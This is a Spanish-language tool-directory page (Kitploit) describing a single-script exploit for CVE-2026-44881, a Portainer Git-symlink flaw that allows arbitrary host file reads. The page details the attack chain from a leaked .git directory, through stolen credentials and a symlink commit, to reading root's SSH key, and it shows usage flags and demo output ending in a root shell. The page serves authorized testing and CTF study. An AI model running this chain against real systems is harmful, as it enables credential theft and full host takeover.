Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-44881_exploit — Exploit de un solo script para CVE-2026-44881 que encadena la fuga de credenciales .git, la inyección de Git-symlink de Portainer, la lectura arbitraria de archivos del host y el acceso SSH para pruebas autorizadas. | Kitploit
Herramientas/GitHubGitHub/0xdak/cve-2026-44881_exploit
Escalada de PrivilegiosSeguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónMovimiento LateralExplotación de Aplicaciones WebRecopilación de InformaciónCTFPruebas de Penetración

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Seguridad en la Nube
GitHub0xdak/cve-2026-44881_exploit

CVE-2026-44881_exploit

Exploit de un solo script para CVE-2026-44881 que encadena la fuga de credenciales .git, la inyección de Git-symlink de Portainer, la lectura arbitraria de archivos del host y el acceso SSH para pruebas autorizadas.

Ver Repositorio
4hace 2 mesesAún no revisado

CVE-2026-44881 — Enlace simbólico Git de Portainer → Lectura arbitraria de archivos del host

Exploit de un solo script para CVE-2026-44881, una inyección de enlace simbólico Git en el flujo de despliegue de stacks de Portainer que permite a cualquier usuario autenticado con privilegios bajos y derechos de creación de stacks leer archivos arbitrarios accesibles por el proceso de Portainer.

Aviso: GHSA-rpgq-m5fp-32wr Afectado: Portainer CE 2.33.0 – 2.33.7, 2.39.0 – 2.39.1, 2.40.x Corregido en: 2.33.8 (LTS), 2.39.2 (LTS), 2.41.0 (STS)

Qué hace

La vulnerabilidad es una combinación de dos primitivas:

  1. go-git v5 traduce las entradas del árbol Git con modo 0o120000 (enlace simbólico) en enlaces simbólicos reales del sistema operativo durante git clone. El único nombre en lista negra es .gitmodules; cualquier otra ruta — incluido docker-compose.yml, que Portainer trata como el punto de entrada del stack — puede ser un enlace simbólico con un destino relativo arbitrario.
  2. Service.GetFileContent (api/filesystem/filesystem.go) lee el archivo de entrada del stack con os.ReadFile, que sigue transparentemente los enlaces simbólicos del sistema operativo. JoinPaths previene ../ en la cadena de entrada pero nunca llama a filepath.EvalSymlinks, por lo que un enlace simbólico ya en disco se resuelve felizmente a su destino.

Portainer normalmente se ejecuta como root dentro de su contenedor (necesario para el socket Docker), por lo que el alcance de la primitiva de lectura es todo lo que el contenedor pueda ver — típicamente /data/portainer.db (BoltDB con cada hash de contraseña de usuario + cada token API), tokens de cuenta de servicio de Kubernetes en /var/run/secrets/kubernetes.io/serviceaccount/token, secretos de Docker Swarm en /run/secrets/, y — en despliegues que montan en bind el sistema de archivos del host para monitoreo — /etc/shadow del host, /root/.ssh/*, etc.

Este script encadena:

root@kitploit:~
leaked .git on port 80
    → recover lowuser:password from commit history
        → Portainer login
            → create Git-backed stack with clean YAML        (validation passes, stack persists)
                → push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
                    → GET /api/stacks/{id}/file              (returns symlink target's content)
                        → ssh -i stolen_key root@target

Uso

root@kitploit:~
./exploit.sh -t 192.168.1.27

Detecta automáticamente la IP del atacante desde ip addr y asume que .git está expuesto en http://target/.git/. Sobrescriba cualquier cosa que no coincida con su entorno:

root@kitploit:~
  -t, --target             IP del objetivo (requerido)
  -a, --attacker           IP del atacante anunciada a Portainer para el daemon git (detectada automáticamente)
  -l, --leak-path          ruta del directorio .git expuesto (por defecto: /.git)
  -p, --portainer-port     puerto HTTP de Portainer (por defecto: 9000)
  -g, --git-port           puerto local del daemon git (por defecto: 9418)
  -w, --workdir            directorio de trabajo para archivos temporales (por defecto: mktemp)
  -u, --user               omitir enumeración .git; usar este nombre de usuario de Portainer
  -P, --pass               omitir enumeración .git; usar esta contraseña de Portainer
      --no-creds-from-git  omitir la etapa .git y requerir -u/-P
      --no-ssh             omitir el paso final de SSH
  -h, --help               mostrar esta ayuda y salir

Demostración

root@kitploit:~
$ ./exploit.sh -t 192.168.1.27
[+] Target          : http://192.168.1.27:9000
[+] Attacker IP     : 192.168.1.34
[+] Workdir         : /tmp/cve44881-xxxx

=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
    3a1f9e2 oops: remove creds from repo, rotate before prod
    b4c20a6 add trial onboarding env (temp, will move to vault)
    d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026

=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1

=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)

=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1

=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}

=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9

=== Done — exploit complete ===

Requisitos

  • Bash, curl, jq, git (con git daemon), ssh
  • Recomendado: git-dumper — pipx install git-dumper. El script incluye un enumerador mínimo HTTP básico incorporado que maneja el caso simple de objetos sueltos si falta git-dumper, pero para cualquier directorio .git filtrado no trivial, la herramienta completa es mucho más fiable.

Notas

  • El script asume el diseño de montaje bind del laboratorio /:/mnt/host:ro y lee /mnt/host/root/.ssh/id_rsa. Para apuntar a otros archivos, edite el destino del enlace simbólico en la Etapa 5 (../../../mnt/host/root/.ssh/id_rsa). El chroot-jail go-billy de Portainer absolutiza los enlaces simbólicos al árbol de trabajo, por lo que el destino debe ser relativo.
  • Las credenciales recuperadas de .git tienen alcance solo para Portainer — no otorgan SSH ni ningún acceso directo al host. El laboratorio está configurado de modo que la única forma de obtener RCE a nivel de host es a través del propio CVE.
  • La etapa de redespliegue espera que Portainer responda con {"message":"stack config file is invalid"} — esto es el validador quejándose de que una clave SSH no es YAML válido. El clon ya ha sobrescrito el árbol de trabajo cuando el validador se ejecuta, que es exactamente lo que necesitamos.

Licencia

MIT. Solo para pruebas autorizadas y uso en CTF / laboratorio.

Descargar herramienta